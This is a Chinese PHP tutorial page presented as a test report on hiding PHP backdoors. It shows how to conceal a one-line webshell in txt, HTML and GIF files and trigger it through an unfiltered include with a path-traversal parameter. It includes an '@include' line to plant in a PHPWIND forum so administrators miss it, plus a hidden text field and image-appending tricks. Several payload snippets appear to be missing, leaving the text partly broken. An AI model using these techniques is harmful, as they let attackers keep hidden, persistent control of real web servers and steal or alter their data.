PHP后門的隱藏技巧測試報告_PHP教程
推薦:PHP中數(shù)組元素升序、降序及重新排序的函數(shù)在PHP數(shù)組學(xué)習(xí)摘錄部分了解到最基本的PHP數(shù)組的建立和數(shù)組元素的顯示。需要深入學(xué)習(xí)下PHP數(shù)組的相關(guān)操作。首先接觸的就是數(shù)組元素的升序、降序的排序問題。 1、快速創(chuàng)建數(shù)組的函數(shù)range()
最近很多朋友都在問我是否能把我那一句話木馬隱藏到HTML或圖片里,其實(shí)把一句話木馬插入到PHP文件中就已經(jīng)很隱蔽了,如果說硬是要放到HTML文件或圖片里,就接著往下看這篇的篇測試報告吧。要知道如果光把PHP語句放到圖片里是無論如何也不能執(zhí)行的,因?yàn)镻HP只解析擴(kuò)展名為php的文件。所以說要能使隱藏在圖片里的PHP語句執(zhí)行。我們就的借助PHP中的調(diào)用函數(shù) :include 、require 等。
ASP中語句看似非常隱蔽但直接調(diào)用圖片對稍微懂點(diǎn)PHP的人就不難發(fā)現(xiàn)可疑之處。由于URL 里用GET方式很難傳遞參數(shù),這就使得插入木馬的性能得不到發(fā)揮。
Include 函數(shù)在PHP中使用的比較頻繁,所以引起的安全問題也實(shí)在太多,例如PHPWIND1.36的漏洞就是因?yàn)閕nclude后面的變量沒做過濾引起的。由此我們就可以構(gòu)造類似的語句來插入到PHP文件中。然后把木馬隱藏到圖片或HTML文件里,可以說隱蔽性就更高了。如在PHPWIND論壇里插入下面的語句:<‘’?@include includ/.$PHPWIND_ROOT;? > 一般管理員是無法看出來的。
有了include 函數(shù)來輔助幫忙我們就可以把PHP木馬隱藏到 諸如 txt、html和圖片文件等很多類型的文件里來了。因?yàn)閠xt、html和圖片文件這三種類型的文件最無論在論壇還是文章系統(tǒng)里是最為常見的了,下面我們就依次來做測試。
首先建立一PHP文件test.php 文件內(nèi)容為:
$test=$_GET['test'];
@include 'test/'.$test;
?>
Txt文件一般都是說明文件,所以我們把一句話木馬放到目錄的說明文件里就OK了。隨便建立一個TXT文件t.txt。我們把一句話木馬粘貼到t.txt文件里。然后訪問 http://localhost/test/test.php?test=../t.txt 如果你看到t.txt的內(nèi)容就證明Ok了, 然后把在lanker微型PHP后門客戶端 木馬地址添入 http://localhost/test/test.php?test=../t.txt 密碼里添入cmd就可以了,執(zhí)行返回的結(jié)果都可以看到。
對于HTML的文件,一般都為模版文件。為了使插入到HTML的文件的木馬能被調(diào)用執(zhí)行而且不被顯示出來,我們可以在HTML里加入一個隱藏屬性的文本框 ,如: 然后使用方法同上。執(zhí)行的返回結(jié)果一般都可以查看源文件看到。 如使用查看本程序目錄功能。查看源文件內(nèi)容為 我可以得到目錄為 C:\Uniserver2_7s\www\test。
下面我們說說圖片文件,要說最為毒的一招莫過于把木馬隱藏到圖片里。我們可以直接對一個圖片進(jìn)行編輯,把插入到圖片末尾
經(jīng)測試一般都不會對圖片造成影響。然后同樣方法客戶端木馬地址添入
我們查看PHP環(huán)境變量 返回的是結(jié)果是原圖片。
這里可能要和我們想象的結(jié)果有些差距了,其實(shí)命令已經(jīng)運(yùn)行了,只是返回的結(jié)果看不到而已,因?yàn)檫@是真正的GIF文件,所以是不會顯示返回結(jié)果的,為了證明是否真的執(zhí)行了命令我們 執(zhí)行上傳文件命令。果不出所料,文件已經(jīng)成功上傳到服務(wù)器上。這樣偽造的優(yōu)點(diǎn)是隱蔽性好。缺點(diǎn)也自然不用說了是沒回顯。如果你想看到返回的結(jié)果,那就拿出記事本偽造一個假的圖片文件吧。
到這里就基本測試完了,怎樣隱蔽PHP后門就看你自己的選擇了。行文倉促,如有不妥之處,請指出!
分享:MagickWand for PHP linux INSTALL 安裝ImageMagick是功能強(qiáng)大的服務(wù)器端圖片處理工具,比GD強(qiáng)大多了。很多PHP的網(wǎng)站隨著應(yīng)用的廣泛,開始用到ImageMagick,雖然其配置并不復(fù)雜,但如果幾個需要注意得地方?jīng)]有注意,恐怕就要浪費(fèi)很多
- PHPNOW安裝Memcached擴(kuò)展方法詳解
- php記錄頁面代碼執(zhí)行時間
- PHP中獎概率的抽獎算法程序代碼
- apache設(shè)置靜態(tài)文件緩存方法介紹
- php對圖像的各種處理函數(shù)代碼小結(jié)
- PHP 關(guān)于訪問控制的和運(yùn)算符優(yōu)先級介紹
- 關(guān)于PHP語言構(gòu)造器介紹
- php/js獲取客戶端mac地址的實(shí)現(xiàn)代碼
- php5.5新數(shù)組函數(shù)array_column使用
- PHP preg_match的匹配多國語言的技巧
- php 中序列化和json使用介紹
- php采集文章中的圖片獲取替換到本地
PHP教程Rss訂閱編程教程搜索
PHP教程推薦
- php筆記之:有規(guī)律大文件的讀取與寫入的分析
- 在動態(tài)網(wǎng)頁技術(shù)PHP5中類(CLASS)的新特征
- PHP技巧:php過濾危險html代碼
- apache和php之間協(xié)同工作的配置經(jīng)驗(yàn)分享
- php獲取數(shù)組中重復(fù)數(shù)據(jù)的兩種方法
- PHP命名空間(Namespace)的使用詳解
- 揭秘PHP程序設(shè)置變量的方法
- 解讀PHP網(wǎng)站開發(fā)需要掌握的10個技巧
- PHP實(shí)例:email address 生成圖片程序
- php selectradio和checkbox默認(rèn)選擇的實(shí)現(xiàn)方法詳解
- 相關(guān)鏈接:
- 教程說明:
PHP教程-PHP后門的隱藏技巧測試報告
。